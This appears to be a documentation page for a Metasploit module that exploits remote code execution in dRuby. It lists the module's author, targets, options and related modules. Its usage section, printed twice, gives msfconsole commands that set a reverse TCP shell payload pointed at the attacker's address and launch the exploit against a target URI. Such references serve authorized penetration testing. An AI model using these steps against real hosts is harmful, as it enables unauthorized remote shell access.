Distributed Ruby Send instance_eval/syscall Code Execution
This module exploits remote code execution vulnerabilities in dRuby
Exploit Rank
- Excellent
Exploit Authors
- joernchen < joernchen [at] phenoelit.de >
Exploit Targets
- 0 - Automatic (default)
Exploit Development
Similar Exploit Modules
- exploit/linux/misc/accellion_fta_mpipe2
- exploit/linux/misc/gld_postfix
- exploit/linux/misc/hp_data_protector_cmd_exec
- exploit/linux/misc/hplip_hpssd_exec
- exploit/linux/misc/ib_inet_connect
- exploit/linux/misc/ib_jrd8_create_database
- exploit/linux/misc/ib_open_marker_file
- exploit/linux/misc/ib_pwd_db_aliased
- exploit/linux/misc/lprng_format_string
- exploit/linux/misc/netsupport_manager_agent
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/linux/misc/drb_remote_codeexec
msf exploit(drb_remote_codeexec) > show payloads
msf exploit(drb_remote_codeexec) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(drb_remote_codeexec) > set LHOST [MY IP ADDRESS]
msf exploit(drb_remote_codeexec) > set URI [STRING]
msf exploit(drb_remote_codeexec) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/linux/misc/drb_remote_codeexec
msf exploit(drb_remote_codeexec) > show payloads
msf exploit(drb_remote_codeexec) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(drb_remote_codeexec) > set LHOST [MY IP ADDRESS]
msf exploit(drb_remote_codeexec) > set URI [STRING]
msf exploit(drb_remote_codeexec) > exploit
Exploit Module Options
| URI | The dRuby URI of the target host (druby://host:port) (default: ) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
